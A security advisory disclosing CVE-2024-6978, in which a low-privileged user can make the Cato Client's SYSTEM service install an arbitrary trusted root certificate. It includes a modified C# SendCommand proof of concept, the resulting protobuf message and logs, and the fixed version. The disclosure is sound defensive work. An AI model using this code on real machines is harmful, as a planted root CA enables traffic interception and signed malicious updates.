Cato Client - Local Root Certificate Install as Low Privileged User (CVE-2024-6978)

Summary

The Cato Client allows a low-privileged, local user to install arbitrary Root CA Certificates in the computer’s certificate store.

Impact

A low-privileged attacker (either a malicious user, or a compromised user), could exploit this issue to install their own trusted CA certificate in the computer’s certificate store. By adding their own trusted certificate, this could allow an attacker to perform traffic interception and decryption, or potentially modify updates by signing their own malicious executables.

Affected Versions

Windows Client version 5.10.26, and below.

Details

An IPC call from the CatoClient.exe process to the high privileged winvpnclient.cli.exe service process could be used by a low privileged user to install a trusted root certificate authority in the machine account’s certificate store. Being able to install a trusted root certificate to the machine store as a low privileged account means that the owner of the certificate is trusted by the machine for whatever purposes that the certificate claims to be eligible for, for example server verification or code signing.

Client to server IPC calls are handled by the CatoNetworks.ServiceCommunication class in the CatoCommon.dll .NET assembly (previously the CatoNetworks.Model.ServiceCommunication class in CatoClient.exe for earlier versions), which serialises various pre-defined objects using ProtoBuf and sends them to the service over a named pipe (named cato-VPN).

The SendManageCertificate function from the client is shown below and can be seen to receive a file path before constructing a clientToService object that is serialised and sent to the service. There did not appear to be any standard part of the user interface that resulted in this function being called.

public void SendManageCertificate(string filePath, bool Install = true, string certificateName = "Cato Networks CA")
{
	ClientToService clientToService = this.CreateBasicMessage(ClientToService.Types.Commands.Certificate);
	clientToService.Certificate = new C2sCertificate();
	if (Install)
	{
		clientToService.Certificate.Action = CertificateActions.Add;
		clientToService.Certificate.Filename = filePath;
	}
	else
	{
		clientToService.Certificate.Action = CertificateActions.Delete;
		clientToService.Certificate.CertificateName = certificateName;
	}
	this.SendCommand(clientToService);
}

By making a modification to the SendCommand(ClientToService) function, it was possible to force the client to send the Certificate command with an arbitrary file path:

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO.Pipes;
using System.Runtime.CompilerServices;
using System.Threading;
using System.Threading.Tasks;
using System.Timers;
using System.Windows.Forms;
using Google.Protobuf;

namespace CatoNetworks.Model
{
    // Token: 0x02000150 RID: 336
    public partial class ServiceCommunication : IServiceCommunication
    {
        // Token: 0x06000CDE RID: 3294 RVA: 0x0003F4AC File Offset: 0x0003D6AC
        public bool SendCommand(ClientToService protobufMsg)
        {
            string str = ServiceCommunication.ClientMessageToStringCensored(protobufMsg);
            bool condition = ServiceCommunication.m_TraceSwitchServiceCommunication.TraceInfo;
            if (protobufMsg.Cmd == ClientToService.Types.Commands.QueryVpnstate)
            {
                condition = ServiceCommunication.m_TraceSwitchServiceCommunication.TraceVerbose;
            }
            Log.WriteLineIf(condition, "Sending " + str);
            ClientToService clientToService = this.CreateBasicMessage(ClientToService.Types.Commands.Certificate);
            clientToService.Certificate = new C2sCertificate();
            clientToService.Certificate.Action = CertificateActions.Add;
            clientToService.Certificate.Filename = "C:\\programdata\\myCA.pem";
            byte[] data = clientToService.ToByteArray();
            this.SendCommand(data);
            
            return this.SendCommand(protobufMsg.ToByteArray());
        }
    }
}

Debugging the code at runtime showed that this resulted in the following Protobuf message being sent to the server.

{{ "timestamp": "1714034273364", "cmd": "Certificate", "certificate": { "filename": "C:\\programdata\\myCA.pem" } }}

The logs associated with the service showed that the message was received:

[logClientToServiceMessage          :  129] [:] [:] [ :] Received from (0:0,0,): msg 'timestamp: 1714034273364 cmd: Certificate certificate { filename: "C:\\programdata\\myCA.pem" } '

Inspecting the service binary in Ghidra shows a certutil command being dynamically constructed using the supplied path name. It should be noted that validation is performed on the input to prevent command injection.

Command Line Constructed using the Filename Parameter

Running SysInternals Process Monitor allowed the resulting command, being run with elevated privileges:

Certutil Command Run with SYSTEM Privileges

The certutil command resulted in the certificate being added to the Local Computer Trusted Root Certification Authorities store - a process that would usually require administrative permissions.

Certificate Added to Computer’s Trusted Root Store

To demonstrate the impact of this, the screenshot below shows the newly installed certificate authority being used to generate a certificate to validate the legitimacy of a TLS connection to www.google.com.

Newly Installed Certificate Authority used to Generate a Valid TLS Certificate for www.google.com

Installing a malicious root CA certificate could facilitate additional attacks, such as:

  • Traffic Interception: An attacker could present a forged TLS certificate to the client, pretending to be the server. If the client accepts this certificate as valid (due to being signed by the attacker’s trusted CA), it would establish a secure connection with the attacker instead of the intended server. Once the attacker has successfully intercepted the TLS connection, they can act as a proxy, relaying requests between the client and the server. This means they can manipulate the data being exchanged, potentially injecting malicious code or commands into the communication stream.
  • Malicious Updates: An attacker could intercept TLS traffic to serve malicious updates. For example, by signing a fake client update with a forged code-signing certificate chaining to the attacker’s trusted root CA, this could be accepted as validly signed, resulting in malicious code execution.

Mitigation Steps

Install version 5.10.34, or later.

You May Also Like